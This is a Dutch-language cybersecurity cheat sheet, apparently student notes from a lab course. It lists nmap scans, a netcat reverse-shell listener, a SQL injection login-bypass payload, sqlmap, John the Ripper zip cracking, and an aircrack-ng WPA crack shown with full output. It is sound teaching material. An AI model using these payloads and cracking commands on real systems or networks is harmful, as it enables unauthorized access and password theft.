

Cybersecurity cheat sheet

Door: Gilles De Meerleer

NMAP

Scan de 1000 meest bekende poorten op een systeem

```
nmap 192.168.1.22
```

Scan enkel poort 22 voor 100 systemen

```
nmap -p22 192.168.1.1-100
```

Scan alle poorten op één systeem

```
nmap -p- 192.168.1.22
```

Services ophalen van 3 poorten op één systeem (banner grabbing)

```
nmap -sV -p22,80,443 192.168.1.22
```

Reverse Shells

Om een reverse shell te maken kan je de volgende commando's gebruiken:

Met Netcat

Op de aanvallers machine:

```
nc -lvp 4444
```

Static file analysis

File hashes

```
sha256sum file.txt
```

Op windows:

```
Get-FileHash file.txt -Algorithm SHA256
```

Strings in een bestand zoeken:

```
strings file.txt
```

xxd / hexdump:

```
xxd file.txt
```

```
hexdump -C file.txt | head
```

SQL Injection

SQL Injection Cheat Sheet

Kraken van een login form:

```
' or 1=1 -- .
```

Gebruik sqlmap om SQL Injection te vinden:

```
sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin" --method=POST
```

John the Ripper

John the Ripper is een tool om wachtwoorden te kraken. Om een zip bestand te kraken kan je het volgende commando gebruiken:

Eerst moet je de hashes extraheren uit het zip bestand:

```
zip2john /path/to/zipfile.zip > /path/to/hash.txt
```

Daarna kan je John the Ripper gebruiken om de hashes te kraken:

```
john --format=zip --wordlist=/path/to/wordlist.txt /path/to/hash.txt
```

Deze kan je ook gebruiken om een hash te kraken:

```
john --format=PKZIP --wordlist=rockyou.txt hash.txt
```

WiFi captures analyseren

Aircrack-ng

Om een WiFi netwerk te kraken met Aircrack-ng, moet je eerst de handshake captureren. Dit kan je doen met de volgende commando's:

```
aircrack-ng wpa-easy-01.cap
```

Om te controleren of de handshake succesvol is, kan je het volgende commando gebruiken:

```
(vagrant@kali-linux)-[~/Downloads/wifi-captures]
└─$ aircrack-ng -J handshake wpa-easy-01.cap
Reading packets, please wait...
Opening wpa-easy-01.cap
Read 15439 packets.

# BSSID          ESSID          Encryption
1  00:0F:3D:A7:87:8C  HOGENT_WPA     WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening wpa-easy-01.cap
Read 15439 packets.

1 potential targets

Building Hashcat file...

[*] ESSID (length: 10): HOGENT_WPA
[*] Key version: 1
[*] BSSID: 00:0F:3D:A7:87:8C
[*] STA: D4:54:8B:3E:CC:E5
[*] anonce:
    41 6F B3 27 9C 0C C9 80 B8 60 1D AB 75 64 1F BE
    DB EE 48 0F D2 5E FD A8 B6 4D F6 B3 A3 66 71 D0
```

```
[*] snonce:
  C2 00 CD E2 E9 5C BE 88 B8 81 BC 5A 61 F4 C4 3D
  DD 56 C0 F0 B3 2E CF 9C 0B 54 54 94 99 E5 E6 B8
[*] Key MIC:
  E0 80 25 3B 6D 08 2A 53 94 24 C2 1B 28 49 F5 70
[*] eapol:
  01 03 00 77 FE 01 09 00 00 00 00 00 00 00 00
  01 C2 00 CD E2 E9 5C BE 88 B8 81 BC 5A 61 F4 C4
  3D DD 56 C0 F0 B3 2E CF 9C 0B 54 54 94 99 E5 E6
  B8 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  00 00 18 DD 16 00 50 F2 01 01 00 00 50 F2 02 01
  00 00 50 F2 02 01 00 00 50 F2 02
```

Successfully written to handshake.hccap

Nu kunnen we de handshake gebruiken om het wachtwoord te kraken met aircrack-ng:

```
(vagrant@kali-linux)-[~/Downloads/wifi-captures]
$ aircrack-ng -w ../rockyou.txt -b 00:0F:3D:A7:87:8C wpa-easy-01.cap
Reading packets, please wait...
Opening wpa-easy-01.cap
Read 15439 packets.
```

1 potential targets

Aircrack-ng 1.7

[00:00:00] 2810/10303727 keys tested (7568.96 k/s)

Time left: 22 minutes, 40 seconds 0.03%

KEY FOUND! [together]

```
Master Key      : 90 7A 5C 34 43 BA D8 2C 04 D5 40 E3 9F 24 69 94
                  2D E8 82 D6 83 17 63 EA DB 93 4A 6A 94 D4 21 E2
```

```
Transient Key   : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

```
EAPOL HMAC      : E0 80 25 3B 6D 08 2A 53 94 24 C2 1B 28 49 F5 70
```

Deobfuscating

Deobfuscating JavaScript

Deobfuscating JavaScript kan met een online tool zoals deobfuscate.io.

Encoding

Voor encodings te decoderen kan je [CyberChef](https://cyberchef.org) gebruiken.

Steganografie

Om verborgen informatie te vinden in een afbeelding kan je [StegOnline](https://stegonline.org) gebruiken.